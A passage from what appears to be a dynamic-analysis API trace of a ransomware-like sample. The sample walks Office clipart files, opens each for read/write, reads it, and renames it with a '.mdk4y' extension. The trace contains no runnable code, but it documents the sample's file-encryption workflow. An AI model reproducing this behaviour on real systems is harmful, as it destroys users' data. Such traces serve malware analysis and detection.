lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3044, lpOverlapped=0x0) returned 1 [0136.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821220700000) returned 1 [0136.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821220700000) returned 1 [0136.978] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.mdk4y")) returned 1 [0136.978] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.978] AreFileApisANSI () returned 1 [0136.978] GetACP () returned 0x4e4 [0136.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EN00242_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EN00242_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.978] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821220900000) returned 1 [0136.979] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a7c, lpOverlapped=0x0) returned 1 [0136.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821222200000) returned 1 [0136.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821222200000) returned 1 [0136.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.mdk4y")) returned 1 [0136.993] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.993] AreFileApisANSI () returned 1 [0136.993] GetACP () returned 0x4e4 [0136.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EN00319_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EN00319_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.993] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821222400000) returned 1 [0136.994] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8e8, lpOverlapped=0x0) returned 1 [0136.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821222500000) returned 1 [0136.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821222500000) returned 1 [0136.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.mdk4y")) returned 1 [0136.996] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.996] AreFileApisANSI () returned 1 [0136.996] GetACP () returned 0x4e4 [0136.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EN00320_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EN00320_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.996] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821222600000) returned 1 [0136.996] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2e0, lpOverlapped=0x0) returned 1 [0137.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821224000000) returned 1 [0137.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821224000000) returned 1 [0137.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.mdk4y")) returned 1 [0137.011] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.011] AreFileApisANSI () returned 1 [0137.011] GetACP () returned 0x4e4 [0137.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EN00397_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EN00397_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.011] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821224100000) returned 1 [0137.011] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x439c, lpOverlapped=0x0) returned 1 [0137.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821227500000) returned 1 [0137.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821227500000) returned 1 [0137.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.mdk4y")) returned 1 [0137.053] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.053] AreFileApisANSI () returned 1 [0137.053] GetACP () returned 0x4e4 [0137.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EN00902_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EN00902_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.053] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821228400000) returned 1 [0137.054] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f08, lpOverlapped=0x0) returned 1 [0137.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821228500000) returned 1 [0137.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821228500000) returned 1 [0137.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.mdk4y")) returned 1 [0137.055] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.056] AreFileApisANSI () returned 1 [0137.056] GetACP () returned 0x4e4 [0137.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXPLR_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXPLR_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0137.056] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821228600000) returned 1 [0137.056] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2942, lpOverlapped=0x0) returned 1 [0137.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821228700000) returned 1 [0137.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821228700000) returned 1 [0137.058] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.mdk4y")) returned 1 [0137.058] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.058] AreFileApisANSI () returned 1 [0137.058] GetACP () returned 0x4e4 [0137.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FALL_01.MID", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FALL_01.MIDD", lpUsedDefaultChar=0x37df4c) returned 11 [0137.059] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821228900000) returned 1 [0137.060] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12ee, lpOverlapped=0x0) returned 1 [0137.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821234100000) returned 1 [0137.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821234100000) returned 1 [0137.111] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.mdk4y")) returned 1 [0137.112] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.112] AreFileApisANSI () returned 1 [0137.112] GetACP () returned 0x4e4 [0137.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00074_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00074_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.112] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821234300000) returned 1 [0137.113] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x45ba, lpOverlapped=0x0) returned 1 [0137.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821238100000) returned 1 [0137.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821238100000) returned 1 [0137.151] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.mdk4y")) returned 1 [0137.152] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.152] AreFileApisANSI () returned 1 [0137.152] GetACP () returned 0x4e4 [0137.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00076_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00076_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.152] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821238200000) returned 1 [0137.152] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2eda, lpOverlapped=0x0) returned 1 [0137.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821243700000) returned 1 [0137.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821243700000) returned 1 [0137.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.mdk4y")) returned 1 [0137.208] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.208] AreFileApisANSI () returned 1 [0137.208] GetACP () returned 0x4e4 [0137.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00077_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00077_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.209] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821243900000) returned 1 [0137.209] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7620, lpOverlapped=0x0) returned 1 [0137.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821247700000) returned 1 [0137.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821247700000) returned 1 [0137.247] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.mdk4y")) returned 1 [0137.248] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.248] AreFileApisANSI () returned 1 [0137.248] GetACP () returned 0x4e4 [0137.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00086_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00086_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.248] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.248] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821247800000) returned 1 [0137.248] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x721c, lpOverlapped=0x0) returned 1 [0137.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821249500000) returned 1 [0137.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821249600000) returned 1 [0137.266] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.mdk4y")) returned 1 [0137.267] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.267] AreFileApisANSI () returned 1 [0137.267] GetACP () returned 0x4e4 [0137.267] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00090_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00090_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.267] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821249900000) returned 1 [0137.269] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3772, lpOverlapped=0x0) returned 1 [0137.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821251000000) returned 1 [0137.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821251000000) returned 1 [0137.280] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.mdk4y")) returned 1 [0137.281] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.281] AreFileApisANSI () returned 1 [0137.281] GetACP () returned 0x4e4 [0137.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00096_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00096_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.281] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821251100000) returned 1 [0137.282] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x920e, lpOverlapped=0x0) returned 1 [0137.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821253200000) returned 1 [0137.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821253200000) returned 1 [0137.303] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.mdk4y")) returned 1 [0137.303] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.303] AreFileApisANSI () returned 1 [0137.303] GetACP () returned 0x4e4 [0137.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD00296_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD00296_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821253400000) returned 1 [0137.304] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3df0, lpOverlapped=0x0) returned 1 [0137.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821256000000) returned 1 [0137.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 